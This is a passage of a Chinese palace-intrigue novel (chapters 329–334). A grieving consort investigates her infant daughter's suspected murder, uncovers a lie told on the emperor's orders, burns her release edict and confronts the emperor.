晚余说:“因为她没有那么多机会,我走之后,无论孩子养在乾清宫还是钟粹宫,她都没有机会再轻易接近孩子,宴会上人多杂乱,无论是她还是旁人,都是最合适的时机。” “这么说的话,就不该大张旗鼓办什么满月宴。”紫苏不禁抱怨,“都怪皇上不听娘娘的话,非要大宴宾客……” “好了,这个时候怪谁都没有意义。”晚余不想去讨论对错,闭目思索片刻才道,“你去一趟永寿宫和钟粹宫,看淑妃和贤贵妃有没有空,请她们过来坐坐,倘若没空的话,也不必勉强。” “是。”紫苏答应一声,又问她,“娘娘不想见见掌印吗?” “他呀……” 晚余把冷掉的茶水放在床头几案上,头一次在说起徐清盏时浮现出迷茫的神情,“我要等见过淑妃之后才能决定要不要见他,或许他现在,也不是很想见我。” 紫苏听她的语气,没来由地感到一阵心酸。 难道现在连徐掌印都不值得娘娘相信了吗? 她明明记得,徐掌印每次来承乾宫,都会抱着小公主爱不释手,怎么小公主没了,他却一点动静都没有呢? 难道他对小公主的喜爱都是假的吗? 还有皇上,小公主尸骨未寒,他居然为了嘉华公主,不肯和娘娘相见。 他们这些男人,怎么一个比一个心狠? 紫苏走后,晚余已然有些体力不支,又强撑着问胡尽忠:“你手里还有没有人用?” “有,娘娘放心吧!”胡尽忠说,“奴才以前好歹也是御前的二总管,手里没有人怎么在紫禁城里混,娘娘还要做什么,只管和奴才说就是。” 晚余说:“皇上把承乾宫的人都带走了,我想知道那些人如今都在哪里,尤其是玉竹玉琴和奶娘,我觉得她们肯定知道些什么。” 胡尽忠眼睛一亮:“娘娘说得对,奴才怎么把她们忘了,等紫苏回来后,奴才就让人去打听。” “不必等她回来,你现在就去吧。”晚余说,“我们下手已经够晚了,一点时间都不能浪费。” 胡尽忠说:“奴才不放心娘娘,娘娘跟前不能没有人。” “没事的,快去吧,我自个能行。”晚余说,“眼下这情形,再坏还能坏到哪里去?倘若你人手足够,再安排两个人留意着翊坤宫。” 翊坤宫? 那不是兰贵妃的地方吗? 胡尽忠不自觉压了压嗓门:“莫非娘娘还怀疑她?” “我不确定,但留意一下总没错。”晚余精力耗尽,对他摆手道,“你快去吧!” “是,娘娘自个小心。”胡尽忠答应一声,告退出去。 晚余浑身无力地靠坐在床上,把自己能想到的疑点又在心里过了一遍。 相比对各宫妃嫔的怀疑,她觉得最可疑的其实是祁让。 祁让的头脑比她聪明百倍,又是那样多疑的性情,连她都能想到的事,祁让当真一点都没察觉到不对吗? 祁让不肯见她,真的只是在陪嘉华公主吗? 第330章 真的要一刀两断了吗 晚余想事情想得出神,不知过了多久,听到外面有脚步声响起。 不等她起身,乌兰雅已经跟着紫苏走了进来。 “快别乱动了,好好坐着吧!”乌兰雅一阵风似的走到床前,扶她坐回去,帮她把靠枕垫好,又把被子往上拉了拉,把她盖得只剩下一张小脸。 晚余静静看她,目光平和:“别紧张,我还没到不能动的地步。” 乌兰雅一下子红了眼圈:“你一直不肯见人,我这几日都快后悔死了,是我不该和你说那样的话,让你没了活下去的念想,你若有个三长两短,我真的要以死相陪了。” “别这么说,这事和你没关系。” 晚余从被子里伸出一只手,拉住她的手轻轻拍了拍,“我心里很乱,就不和你说废话了,我今日叫你来,就是想问问你,徐清盏当真和你说过那样的话吗,是他亲口和你说,孩子的死和旁人没有关系吗?” “……” 她问得直接又迫切,乌兰雅一时有点反应不过来,怔怔一刻才道:“你不是一直想走吗,孩子没了,你岂非更加无牵无挂,又何必如此较真?” “不是我较真,是有人不肯放过我。”晚余幽幽道,“那个藏在暗处的人,不肯让我出宫,就算我走了,他也会想法子把我弄回来的。 这次是孩子,下次可能是你,也可能是徐清盏,也可能是沈长安,只要是我牵挂的人,都有可能成为他下手的目标。 如果我不把他找出来,他就会永远躲在背后窥探我,在我意想不到的时候给我致命一击。 如果我被人这样挑衅,这样坑害,都能无动于衷地走掉,那我算什么? 我是想要自由,但我想要的,不是逃避的自由,不是被人时刻盯着的自由,不是连自己孩子被害死,还要夹着尾巴苟且偷生的自由,你明白吗?” 她一口气说了这么多,停下来大口地喘息。 又因着提到孩子的死,情绪难免起伏波动。 乌兰雅连忙吩咐紫苏给她倒水,又亲自给她拍抚心口,借着她平复情绪的时间,将她的话细想了一番,越想越觉得毛骨悚然。 “你觉得那个人是谁,他为什么不想让你出宫?” 乌兰雅瞪大眼睛,下意识往房间四处打量,仿佛那个人就躲在哪个墙角或哪个衣柜里。 紫苏被她的动作吓得打了个寒战,身上的汗毛都竖起来。 晚余缓了一会儿,才虚弱道:“我现在还不知道他是谁,但我必须把他揪出来,否则我就会一直被他牵着鼻子走,这辈子都不得安生。” 乌兰雅点点头:“你的意思我明白了,但我觉得,没什么比你出宫更重要,你出去以后,也可以拜托徐清盏帮你调查真相,你知道的,他有这个能力。” “不,你不能这么想。”晚余摇头,眼神坚定,“皇上给我的圣旨上写得清清楚楚,一旦我出了宫,此生不得再踏入紫禁城,所以我得把事情了结在出宫之前。 因为我一旦走出去,我在外面得到的真相,就只能是他们想让我知道的真相,哪怕我有所怀疑,也回不来了,你明白吗?” 乌兰雅眨眨眼,似懂非懂:“你觉得皇上或者徐清盏会骗你?可如果真的有人对梨月下手,皇上肯定第一个饶不了他……” “如果那个人是嘉华呢?” “啊?” 乌兰雅愣住,停了半晌才道:“我懂了,你怕皇上会因为不得已的理由包庇凶手,而徐清盏为了让你安心,就不得不对你撒谎,是吗?” “是。”晚余点点头,“我知道不会是嘉华,我只是打个比方,就算真的是她,她那么小,肯定也是被人利用的,或许她们母女都是被人利用的。 但不管怎样,我现在都不能走,我要亲眼看到真正的凶手落网,我也不能事事都依赖徐清盏,你明白吗?” 她每解答一次,都会问乌兰雅一句“你明白吗?” 乌兰雅没有立刻回答,又将她的话细细琢磨了一番,才郑重道:“我明白了。” “那好。”晚余像是在等这句话,等到之后,神情立时变得肃重起来,“既然你都明白了,那你告诉我,徐清盏到底是怎么和你说的?” “我……”乌兰雅张着嘴,直到这时才转过弯,“你说了这么多,原来是在这儿等着我呢,难怪皇上说你聪明,轻易瞒不过你。” 晚余眉心微跳,放在被子里的手不自觉攥紧:“所以,不是徐清盏和你说的,是皇上让你以徐清盏的名义骗我的,是吗?” 乌兰雅点点头,面露愧疚之色:“晚余,对不起,是我骗了你,在你没有和我分析这些之前,我是发自内心的想让你出宫,我不想让你留在这个伤心的地方,我以为只要你能出去,一切都会好起来的。” “晚余,对不起,我辜负了你的信任。” 她抓住晚余的手,眼泪流出来:“晚余,你可以怪我,也可以恨我,但你不要因此恨皇上,皇上他也很伤心。 他想让你离开,他说这一切该由他自己来背负,我这辈子,头一回看到一个男人在我面前流眼泪,我看到他哭的那样伤心,我的心就软了……” “晚余,对不起。” 乌兰雅倾身过去抱住晚余的脖子,失控地哭出声来。 晚余坐在那里一动不动,眼泪无声而下。 她知道每个人都有自己的苦衷,她知道每个人都有自己的立场,可她真的不想再听到有人和她说对不起了。 对不起这三个字,其实挺无力的,很多时候,它什么都改变不了,而你却不得不跟着说一句没关系。 “没关系,我不怪你,我知道你是为我好。” 她抬手拍了拍乌兰雅的后背,又说了声“谢谢你”。 “谢我什么?”乌兰雅吸着鼻子问道。 晚余说:“谢谢你和我说实话,让我知道,徐清盏还是徐清盏。” 紫苏听到这句话,捂着嘴转过身,泪水夺眶而出。 谢天谢地,总算还有一个人是娘娘可以全心信赖的。 可是,听淑妃娘娘这么说,她又觉得,皇上其实也很可怜。 她都想象不出,那样一个高高在上的帝王,在自己的妃嫔面前流泪眼,该是怎样的伤心绝望。 纵然皇上的做法有不妥当之处,可他对娘娘的心却是真的。 他为什么不能好好和娘娘谈一谈呢,娘娘都主动去找他了,他却把娘娘拒之门外。 难道他真的下定决心要和娘娘一刀两断了吗? 第331章 鹬蚌相争,渔翁得利 乌兰雅哭了一阵子,才慢慢平复下来,垂着头不敢看晚余的眼睛。 晚余说:“你不必自责,我真的不怪你,我知道你是真心为我好,虽然我之前确实万念俱灰,想随梨月而去,但我现在已经好起来了,从今往后,不会再有什么事情能把我打倒了。” 她越是这样说,乌兰雅心里越难受,拉着她的手恳切道: “晚余,我知道这时候说什么都没有用,要不我替你去见皇上吧,你有什么话想和他说,我来替你传达,你觉得怎么样?” 晚余扯了扯唇:“我觉得怎么样都没有用,关键是皇上愿不愿意见你,愿不愿意听你说话。” “管他呢,行不行的试试才知道。”乌兰雅说,“他前脚才利用完了我,总不能后脚就翻脸不认人吧?” “那太正常了。”晚余说,“如果你还对他抱有这样的期望,说明你对他不够了解,你可以去试一试,不行也不要勉强。 如果你真能见到他,别的也不用多说,只说如果他不见我,我就要大开杀戒了,到时候要是伤了他的宝贝女儿,他可别后悔。” 乌兰雅和紫苏都吓了一跳,齐齐往她脸上看过去。 她明明还是那样弱不禁风,苍白的脸上也没有什么表情,可是不知道怎么回事,两人都觉得她说的话是真的。 她没有歇斯底里,也没有说什么狠话,但她看起来好像真的会杀人。 紫苏不禁想起了赖三春。 那时候,她和娘娘同在掖庭被赖三春欺压,她划破了自己的脸逃过一劫,娘娘却在一个月黑风高的夜晚,不声不响地把赖三春捅成了马蜂窝。 这样的狠绝,没有几个女人能做到。 所以她相信,娘娘被逼急了,是真的会再开杀戒的。 “好,我知道了,我会尽力一试的。”乌兰雅站起身,对晚余郑重道,“杀人不是小事,你且等我见过皇上再说,皇上若当真不管,你再杀不迟,到时我给你捧刀,咱们一起为梨月报仇。” “好。”晚余应了一声,让紫苏送她出去。 到了门外,刚好遇见姗姗来迟的贤贵妃。 乌兰雅给贤贵妃行了礼,客套了两句便匆匆离去。 贤贵妃随口问紫苏:“淑妃也是你家娘娘请来的吗?” 紫苏想说不是,转念一想,承乾宫现在不知道有多少人盯着,自己是先去的永寿宫,再去的钟粹宫,这路线贤贵妃肯定早就知道了。 自己撒谎的话,倒显得欲盖弥彰。 于是便半真半假道:“回娘娘的话,我们娘娘之前在淑妃娘娘那里叨扰了两天,一直想去向淑妃娘娘道谢,就让奴婢去问问淑妃娘娘有没有空,淑妃娘娘体谅我们娘娘身子不好,就自个跑来了,叫我们娘娘好生休养,不要放在心上。” “原来如此,”贤贵妃微微一笑,“你是个好姑娘,难为你把话说得这样周全。” 紫苏愣了愣,感觉她的话别有深意。 她这个人太精明,或许已经听出自己在骗她。 管她呢,她怎么听怎么想是她的事,反正自己不能直接承认。 “娘娘请吧,我们娘娘正等着您呢!”紫苏伸手作请。 贤贵妃微笑颔首,叫拾翠和另外几个婢女在外面守着,自个随紫苏进了内室。 晚余和乌兰雅说了半天话,已然精神不济,见她进来,就坐在床上没有动:“娘娘见谅,我实在是没有力气了。” 贤贵妃走过去在床沿坐下,拉着她的手说:“好妹妹,这个时候你和我还客气什么,出了这事,你心里有多难受,我心里就有多难受。 我一直惦记着你,可你先是住在乾清宫,后又去了永寿宫,好容易回来这边,又不愿见客,我都快急死了。” 她松开晚余的手,掏出帕子擦眼泪:“你说说,咱们梨月的命怎么就这么苦呢,我盼星星盼月亮似的盼着她,她的房间和一应物件都准备好了,生怕委屈了她,谁知……唉……” 她说到伤心处,声音都哽咽了,瞧着倒是真情实感。 晚余忍着心痛,反过来安慰她:“事已至此,姐姐节哀吧,也是梨月没福气,做不成姐姐的女儿。” 贤贵妃收了泪,语气带了几分恨意:“不是咱们梨月没福气,只怕是有人不想让她有这个福气。” 晚余脸色一变:“姐姐此言何意?” 贤贵妃四下看了看,压低声音道:“妹妹是要出宫的人了,梨月那么小能碍着谁的事,多半是有人怕我养了梨月,会拦了她当皇后的道,这才对梨月痛下杀手。” 晚余也收起了悲伤的神情,小声问她:“以姐姐之见,会是谁?” 贤贵妃冷哼一声:“不是我以小人之心揣度人,妹妹自个想想,除了翊坤宫那位,还有谁争得过我?” 晚余也是因为想到这一点,所以才让胡尽忠派人盯着翊坤宫。 但她只是初步的怀疑,听贤贵妃的话音,却是实打实的认定了是兰贵妃。 她不相信事情会这么简单,她还是觉得有人在刻意阻止她出宫。 她没有和贤贵妃说出自己的揣测,而是问她:“姐姐有什么证据吗?” 贤贵妃说:“她敢做下这诛九族的事,自然要万分小心,怎么可能让我轻易抓到把柄? 但你记住,凡事只要是人为的,必定有迹可循,我已经让人暗中监视翊坤宫,也让我兄长帮忙打听了。 如果真的是她,她迟早总会露出马脚,到时候,她父兄再如何战功赫赫,也保不了她,她裴家满门都得给咱们梨月陪葬。” 贤贵妃说话很少有这样狠厉的时候,这回确实是被激怒了。 晚余知道,她也未必有多心疼梨月,她生气的是有人断了她登顶后位的路。 但晚余无所谓,只要她能帮忙找出那个人,为着什么都不重要。 “姐姐好像认定了是兰贵妃,难道只是因为她最有实力和姐姐相争吗?”晚余又问。 贤贵妃迟疑了一下,小声道:“你知道端妃为何入了空门吗?” 晚余直觉她话里有话,反问道:“不是因为二皇子夭折而伤心过度吗?” 贤贵妃轻轻摇头:“伤心自然是伤心,她和皇上说是兰贵妃失去了皇长子心里不平衡,偷偷害死了她的孩子,请求皇上严惩兰贵妃。 但皇上查证之后,说二皇子的死和兰贵妃无关,她认为皇上包庇兰贵妃,这才一气之下绞了头发,从此吃斋念佛,闭门不出。” 晚余暗自心惊。 兰贵妃和端妃的孩子相继夭折的事她是知道的,但那时的她自己都活得战战兢兢,根本无心理会旁的事。 又因着要装哑巴,从不与人交往,唯恐一不小心就会暴露,所以,不管宫里发生什么事,她从不打听,也从不去凑热闹。 她隐约记得那些时日祁让很是烦躁,大家都躲着他,见到他大气都不敢喘,自己也是有多远躲多远。 乌兰雅方才说祁让曾在她面前流泪。 如果失去一个公主都能让祁让伤心落泪,痛失两个皇子的时候,祁让肯定比现在更难过吧? 只是不知道,那时的他是如何挺过来的? 晚余叹了口气,又问贤贵妃:“姐姐觉得皇上有没有包庇兰贵妃?” 贤贵妃摇摇头:“这个不好说,皇上的心思藏得深,这些年也没谁能走进他的内心,他唯一区别对待的,也只有妹妹你了。” 说到这里看了晚余一眼:“妹妹想查清真相,何不试着接近皇上,哪怕假装一下呢,看看能不能从皇上口中打探到什么有用的线索,只要你愿意,皇上对你肯定不设防的。” 晚余苦笑:“我刚被皇上拒之门外,姐姐难道没听说吗,现在不是我不见他,是他不见我。” 贤贵妃也跟着苦笑:“咱们一出事,倒叫庄妃捡了便宜,这可真是鹬蚌相争,渔翁得利。” 晚余心头一跳,脑子里有什么念头一闪而过。 第332章 皇上是要召人侍寝了吗 胡尽忠在外面跑了一天,带回来两个重要的消息。 承乾宫的宫人都因照顾公主不力被皇上下令送到慎刑司杖毙了,包括玉竹玉琴在内。 唯有那个奶娘,皇上念及她家中有幼子,饶了她一命,让她出宫去了。 胡尽忠根据内务府的记档派人找到她家,邻居说她从宫里回去那天,两口子就带着孩子搬走了。 对外声称是在宫里得了大恩赏,买了处大宅子,要赶在年前搬到新宅去住,至于新宅在哪,却没有同任何人讲起。 另外一个消息,就是那个失踪的穿孝衣的侍卫,有一个绕了九曲十八弯的亲戚,是兰贵妃娘家大总管的表舅。 晚余正在用晚饭,听完他的消息之后,又让紫苏给自己添了一碗粥。 紫苏提醒道:“娘娘已经吃了不少,再吃就多了,晚上睡觉要难受的。” “不多,以后我每顿都要吃这么多。”晚余指着桌子对面说,“你们都坐下吃,吃饱了才有力气。” 有力气干什么? 紫苏想。 有力气做事? 有力气报仇? 还是有力气杀人? 娘娘这回,真的要大开杀戒了吗? 主仆三人相对而坐,憋着一股劲,吃饭吃得像复仇,仿佛那一桌子饭菜是他们的敌人。 胡尽忠吃着吃着,眼泪突然叭嗒一下掉进了碗里。 他连忙拿袖子去擦眼角,谁知那泪却越擦越多,他索性把筷子搁下,双手捂着脸呜呜大哭起来。 紫苏吓一跳,忙要阻止他。 晚余抬手示意紫苏不要管,让他哭个够。 胡尽忠边哭边念叨:“都怪我,我才是罪魁祸首,如果当初我没有给娘娘使绊子,而是尽力帮助娘娘出宫,后面这些事都不会发生,娘娘说不定早在外面过上好日子了。 为了把娘娘留在宫里,我给皇上出了很多馊主意,让娘娘亲笔写下不愿嫁沈小侯爷为妻的主意,也是我出的。 那么冷的天,那么大的风雪,娘娘跪在南书房门外,被我逼着写那些字…… 我不是人,我被猪油蒙了心,我以为娘娘留在宫里可以锦衣玉食,飞黄腾达,我也可以跟着沾沾光,谁知竟让娘娘沦落到这般凄凉的地步。 我对不起娘娘,对不起小公主,等我给小公主报了仇,我就到皇陵给小公主守陵去,皇陵那么大,那么冷,小公主一个认识的人都没有……” “行了,你别说了。” 紫苏听不下去,流着眼泪骂他,“你现在知道自己不是人了,你现在知道后悔了,可是有什么用,你就算一头撞死在小公主陵前,也赎不了你的罪。” 胡尽忠不辩解,哭得稀里哗啦。 晚余静静坐着,一滴泪都没掉。 等胡尽忠哭够了,她才敲了敲桌面说:“接着吃。” 胡尽忠乖乖端起碗,边吃边吸溜鼻子。 晚余说:“那个侍卫既然和兰贵妃家有牵扯,你接下来就重点调查翊坤宫,那个奶娘也必须找到。 或许和那个侍卫一样,奶娘也是谁家九曲十八弯的亲戚,就算不是,她必定也是知道些什么的,否则不会连夜搬家。 还有送到慎刑司杖毙的人,临死前总要喊一喊冤的。 你不是和慎刑司的张有道很熟吗,去问问他,那些人死之前都喊了什么,哪怕是胡说八道的话,也要一五一十问清楚。” 张有道是慎刑司的总管太监,当初晚余被诬陷偷了祁让的玉佩,就是被胡尽忠送到了他那里。 他逼着晚余招供,说到了他手里,哑巴也能开口说话。 胡尽忠听晚余提到张有道,心里的愧疚又增添了几分。 虽然用玉佩栽赃娘娘的事不是他干的,却是他第一时间把娘娘送进慎刑司的,他还让张有道好好吓唬吓唬娘娘,想逼着娘娘向皇上求救。 他真不是人。 “奴才记下了,奴才明天就去问。”他哽咽着说道,狠狠扒了一筷子饭送进嘴里,噎得直伸脖子。 晚余把自己没喝的老母鸡汤推给他,让他把饭顺下去。 “你今儿个哭也哭了,也忏悔过了,那些不能更改的旧事,在我这里就算翻篇儿了,从今往后,你不能再骗我,尤其不能打着为我好的名义骗我,你能做到吗?” 胡尽忠愣住,像是没想到她这样轻易就原谅自己,半晌才红着眼睛点了点头:“奴才能做到。” “好,那我就再信你这一回。”晚余起身道,“吃饱了就好好睡觉,养足了精神才好干活。” “是。” 胡尽忠含泪应了一声,看着她在紫苏的搀扶下进了内室。 那单薄的身影,就像荒原上的野草,分明风一吹就倒,偏偏什么风都吹不倒她。 这样心志坚韧,百折不屈的女人,合该站在众生之巅的。 若她能与皇上并肩登临天下,该是怎样的风景? 可她偏生对皇权不屑一顾,一心只想要自由。 唉! 人各有志,造化弄人,强扭的瓜,注定是苦的。 晚余回到内室,被紫苏伺候着洗漱更衣,一阵沉默后,突然问紫苏:“要过年了吗?” “是啊,明天就是小年了。”紫苏说,“奴婢今早出门时,听人说今年宫里不办宫宴了,城里也不许放烟花爆竹了。” 晚余又是一阵沉默,许久才道:“你还记得去年这个时候,咱们在哪里吗?” “记得。”紫苏说,“那时咱们刚逃出宫,在一个尼姑庵里躲了两天,后来就跟着一个杂耍班子去了河南,到洛阳的时候,正好赶上元宵节,洛阳城里放了一夜的烟花。” 她叹息着,回忆那时的情形:“洛阳城真美,烟花也很美,那是奴婢这辈子见过最美的烟花……” “是啊。”晚余点点头,张口欲说什么,却又什么都没说,“睡吧,明天还有事要做。” 次日一早,主仆三人又饱饱地吃了一顿,胡尽忠去忙他的事,晚余体力恢复了些,打算去静安太妃那里走一趟。 紫苏说静安太妃因着小公主的事病倒了,好几日都没下床。 两人收拾好了正要出门,小福子突然带人抬了一顶软轿过来,说皇上要见贞妃娘娘。 紫苏看着他,跟做梦似的,差点没哭出来:“真的吗,皇上终于愿意见娘娘了吗?” “是的,紫苏姑娘。”小福子答应着,小心翼翼地看了晚余一眼,“娘娘要不要重新更衣梳妆,奴才等一会儿也无妨的。” “为何要更衣梳妆?皇上刚没了孩子,就迫不及待要召人侍寝了吗?”晚余一脸平静地反问。 第333章 来吧,现在就杀了我 小福子尴尬不已,腰弓得像个虾米,对晚余伸手作请:“奴才错了,娘娘请上轿吧!” 晚余看着他,却没有立刻上轿,扶着紫苏的手回了屋。 小福子以为她到底还是回去梳妆了,谁知道她再出来时,衣裳妆容都没有变,只是鬓边多了一朵白色绢花。 花朵大而繁复,形似牡丹,簪在她黑漆漆的发间,衬得云鬓越发黑亮,脸颊越发瓷白,有种触目惊心的哀婉之美。 小福子看得心惊,什么也不敢说,毕恭毕敬地扶着她上了软轿。 轿子出了承乾宫,往乾清宫缓缓而行,一路上又吸引了所有人的目光。 昨天大伙还在暗中猜测贞妃娘娘已经失宠,没想到今天就被福公公亲自接去了乾清宫。 看来皇上对她还是放不下呀! 轿子到了日精门外停下,小福子亲自扶着晚余下了轿,引着她往正殿而去。 晚余走在廊庑下,感受着殿前广场席卷而来的风。 这座世间最尊贵华美的宫殿,到如今,她已经在其中往来了七年。 人的一生,能有几个七年? 她一生最好的年华都葬送在这里,到如今,仍是孑然一身。 正殿的月台上,孙良言抱着拂尘向她张望,等她到了近前,视线在她鬓边的白牡丹上略作停留,眼神充满哀伤。 “娘娘。” 他躬身行礼,叫了晚余一声,想说什么,被晚余打断。 “如果是劝我节哀,就不必说了。” 孙良言的话堵在嗓子眼,面露尴尬之色,缓了口气才道:“皇上在东暖阁等娘娘。” 晚余便独自一人进了大殿,往东暖阁而去。 暖阁里,祁让仍旧一个人坐在南窗的炕上,玄衣如墨,玉冠束发,盘着腿,闭着眼,修长的双手垂在双膝,像打坐的道人。 地上的火盆里烧着上等的银丝炭,炕桌上的鎏金小香炉里,香雾袅袅升腾。 听到脚步声,他缓缓睁开眼睛看向门口,幽深的目光随着晚余的步子移动。 晚余走到炕前,在离他三步远的地方站住,没有行礼,也没有开口,就那样静静地与他对视。 他瘦了许多,本就冷峻的脸越发棱角分明,眉峰凌利如剑,凤眸深邃如渊,双唇紧抿着,沉默而凉薄。 晚余看着他,不过几日没见,竟像是隔了经年的光阴,有种久别重逢,物是人非的感觉。 祁让的目光落在她鬓边的白牡丹上,眼中痛色弥漫。 那样的痛,他却久久没有移开视线。 和她在一起的这几年,关于记忆的色彩好像大多是白的。 下起来没完的雪,像雪一样的梨花,藏在柜子里的雪娃娃,连她给他做的清汤面,都是白的,现在,又多了这代表着悼念的白牡丹。 视线转到她苍白的脸上,她的脸已经瘦得没有一只手掌大,眼窝凹陷着,显得那双眼睛格外大,只是眼神不再澄澈如湖水,而是平静得像一潭死水。 长久的沉默之后,还是祁让先开口:“朕已经答应放你离开,你为何还赖在这里不走?” 他像是很久没说话了似的,声音干涩喑哑,像古庙里年久失修的木门,推开的瞬间,沧桑和颓废扑面而来。 “皇上想我去哪儿?”晚余语气平静,表情也没什么变化,“我想走的时候你百般阻挠,我逃走了你都要千里迢迢把我抓回来,如今我遍体鳞伤,一无所有,只剩这一副残破之躯,你却要我走。” 她嗤笑一声,语带嘲讽:“你以为你这样很大度吗?你以为这样我就会感谢你吗,你以为我不知道你让我走是为了什么吗?” “为了什么?”祁让皱眉反问,垂在膝头的双手,用力收紧,像是在隐忍。 晚余说:“为了什么,皇上自己心里清楚,你一直躲着不肯见我,我说要对你宝贝女儿动手,你立刻就见我了,什么意思还要我说明吗?” “嘉华是你的宝贝女儿,是不可替代的长公主,那梨月算什么?” “我只说要对嘉华不客气,你就急了,怎么她们母女害死梨月,你却一点都不着急?” “你想让我走,不就是怕我找她们麻烦吗,你已经死了一个孩子,另一个无论如何也得保住是吗?” “还是说因为某个妃嫔的家族对你有用,你不能动她,只能让梨月枉死?” 若果真如此,你配做梨月的父皇吗?你对她的爱,只是嘴上说说吗?” 晚余很冷静地说完了这些话,从头到尾没有一个高音,只有上下起伏的胸膛,显示出她的内心并不平静。 祁让看着她,想到她在乾清宫昏迷的那三天,想到乌兰雅说的“她只是还没死”的话。 他以为她这回可能真的撑不下去了,没想到她还是撑住了。 就像盆里枯萎的花,已经肉眼可见的死亡,一瓢水浇下去,就又起死回生般地支棱起来。 祁让明白,这瓢让她起死回生的水,叫作仇恨。 是仇恨把她从鬼门关拉回来的。 他从来没想过,有一天他会用仇恨来医治她。 祁让闭了闭眼,声音理智而凉薄:“梨月的死朕也很难过,朕再重申一遍,梨月是病故的,和任何人都没有关系,既然你身体已经好转,就赶紧出宫去吧,朕说过的,这一回绝不再留你。” “你说的我不信。”晚余逼视着他,目光如炬,“在我这里,你的话早已没有可信度,你说什么我都不会相信,我只相信我自己,不查清真相,我是不会走的。” 祁让啪的一声拍案而起,迈步走到她面前,高大的身形像一座山将她笼罩。 “江晚余!” 他厉声呵斥,在逼近她的那一刻,突然发现她在自己面前是那样渺小,那样瘦弱,那样形销骨立。 他的声调不自觉降下来,尽管语气还是那样无情:“圣旨不是儿戏,紫禁城也不是你想走就走,想留就留的,朕看到梨月的份上,不计较你的无礼,你现在就走还来得及,否则圣旨就要作废了。” 晚余定定地看着他,看着他淡漠的神情,看着他冷峻的脸,看着他幽深眼底汹涌的暗潮。 她素来知他冷血无情,却不想他竟无情至此,为了维持朝堂平衡,连亲生女儿的死都可以轻松揭过,一笔勾销。 这样的话,他在乌兰雅面前流的泪,也不过是逢场作戏罢了。 晚余冷笑一声,从宽大的袍袖里取出一卷明黄的圣旨,随手扔进了一旁的炭火盆里。 火焰腾腾而起,照亮她决绝的脸。 “我的人生已经够糟烂了,走与不走有什么区别,我要亲手杀了害死梨月的人,如果你想保护她们,那你最好现在就杀了我!” 她向祁让逼近,双手抓起祁让垂在身侧的手,放在自己纤长的脖颈上,眼神平静又疯狂:“来吧,现在就杀了我!” 第334章 烧了圣旨就不能再回头了 空气中弥漫着呛人的焦糊味,圣旨燃烧的火焰从明到暗,渐渐熄灭。 晚余接连两个出乎意料的举动令祁让险些维持不住表面的冷漠,双手被迫握住她脖子的瞬间,呼吸都跟着停了下来。 他已经好几天没有见过她,没有触碰到她,掌心感受到她肌肤温度的一刻,让他有种想要流泪的冲动。 仿佛满身疲惫的游子,回到了阔别已久的故乡,指尖触摸到了故乡的春天。 半生动荡,漂泊无依,她就是他魂牵梦萦的故乡。 指腹在她颈间轻轻抚摸,那细腻的,带着生命搏动的触感,如同温柔一刀,瞬间刺穿他伪装的强硬铠甲,刺入他早已血肉模糊的心底。 他看着她,看着这个用生命向他发出控诉和挑战的女人。 她的神情那样倔强,那样疯狂,握在他掌心的脖颈却是那样纤细,那样脆弱,仿佛轻轻一捏,就会彻底破碎,如同他们之间早已千疮百孔,支离破碎的感情。 思念无声无息,却又如同惊涛拍岸,他恨不能直接将她拥入怀中,用尽所有的力气。 但他还是忍住了。 他闭了闭眼,压下心头翻涌的气血,缓缓开口:“你想好了,烧了圣旨,就再也不能回头了。” “我早就不能回头了。”晚余说,“自从被你强占的那一刻,我就已经没有回头路可走。 后来种种,也都是你逼我的,是你以爱为名,将我一步一步逼入绝境。” 她哀怨又愤恨地看着他,眼中水汽氤氲:“被你强占后,我不是没想过妥协,我向你屈服,来换取我和徐清盏在宫中平安。 可你假扮祁望骗我,冤枉我害死了冯贵人的孩子,问都不问就将我打入冷宫。 我逃了三个月,还是没逃出你的魔爪,被你抓到后,我也曾一度认命,打算老死宫中。 我为你背负妖妃的罪名,替你与太后周旋,拿到江连海谋反的证据,你却用假避子汤骗我,联合所有人将我蒙在鼓里。 我说这孩子来的不是时候你不听,我说让你雨露均沾你不听,我说让你不要对孩子太过宠爱你还是不听。 现在,孩子没了,我说她是被人害死的,你照样不听。 你告诉我,这一切都是谁造成的? 你告诉我,这样遍体鳞伤的我,要怎样回头? 我回头能去哪里? 天下之大,我走到哪里,能甩开这些痛苦的记忆? 你告诉我。 你不是无所不能吗,你来给我一个答案。” 她不想再在他面前表现自己的脆弱,说到最后,还是忍不住带了哭腔。 祁让默默看着她,要用尽所有的力气,才能让自己看起来无动于衷。 晚余的话,每一个字都是一根针,每一针都精准地扎在他心头。 他知道。 从梨月出事那晚,他就已经醒悟,这一切都是他的错。 是他的一意孤行害了她,害了梨月。 现在的局面,是上天对他的警示和惩罚。 所以他决定放她离开,让她在什么都不知道的情况下离开,让她永远都不知道她沉睡的那夜发生了什么。 可她偏偏还是知道了。 他以为她没有那么在意孩子,她却受不住打击吐血昏迷。 他让乌兰雅骗她说孩子的死和旁人无关,也是想让她释怀离开,却没想到,那句话竟让她万念俱灰,没了活下去的动力。 他只能用仇恨将她唤醒,让仇恨支撑她活下去。 只要她能慢慢走出伤痛,他愿意被她恨着,恨一辈子也无所谓。 他深吸一口气,漠然道:“过往种种,不必再提,朕说了梨月的事与旁人无关,你现在改变主意还来得及,朕立刻让人送你出宫。” “我不走。” 晚余大喊一声,气愤地瞪视着他,下一刻,却又强压怒火,抓住他的一只手,贴在自己心口,哽咽着求他,“皇上,你就信我一次好不好,梨月真的是被人害死的。 敌明我暗,防不胜防,她的死我不怪你,我也能体会到你的伤心和为难,可梨月就算真的只有一个月的寿命,也不该死于他人之手。 你那么爱她,你每天批折子都抱着她,她死了,你怎能忍心不为她讨回公道呀皇上?” 她跪倒在他脚边,向他苦苦哀求:“求求你了皇上,替咱们的孩子讨一个公道吧! 如果皇上不便动手,就让我来,所有的恶名我一人承担,等我给梨月报了仇,我以死谢罪来保全皇上的名声,行不行?” 她本就瘦小的身子,就那样蜷缩在他脚下,卑微又可怜,他高大的身躯就像一座不可逾越的山,将她衬托得更加渺小。 此时此刻,她不再是那个一心追求自由不顾一切的倔强姑娘,而是一个失去孩子,支离破碎的母亲。 “梨月的死,我也有错,上天不仅惩罚了皇上,也惩罚了我,如果我没有那么执拗,如果我早点认命,如果我也能像后宫别的妃嫔一样安守本分,或许梨月就不会死。” 她哭着承认自己的错,一滴泪落在他明黄色绣云龙纹的靴子上。 他知道错了。 她也知道错了。 他们的醒悟,是用世间最摧心折肝的代价换来的。 掌心的温度随着她的下跪而消散,祁让怅然若失地攥起拳头,居高临下地俯视着她。 她虚弱的身体,和她鬓边那朵白牡丹一样颤颤巍巍。 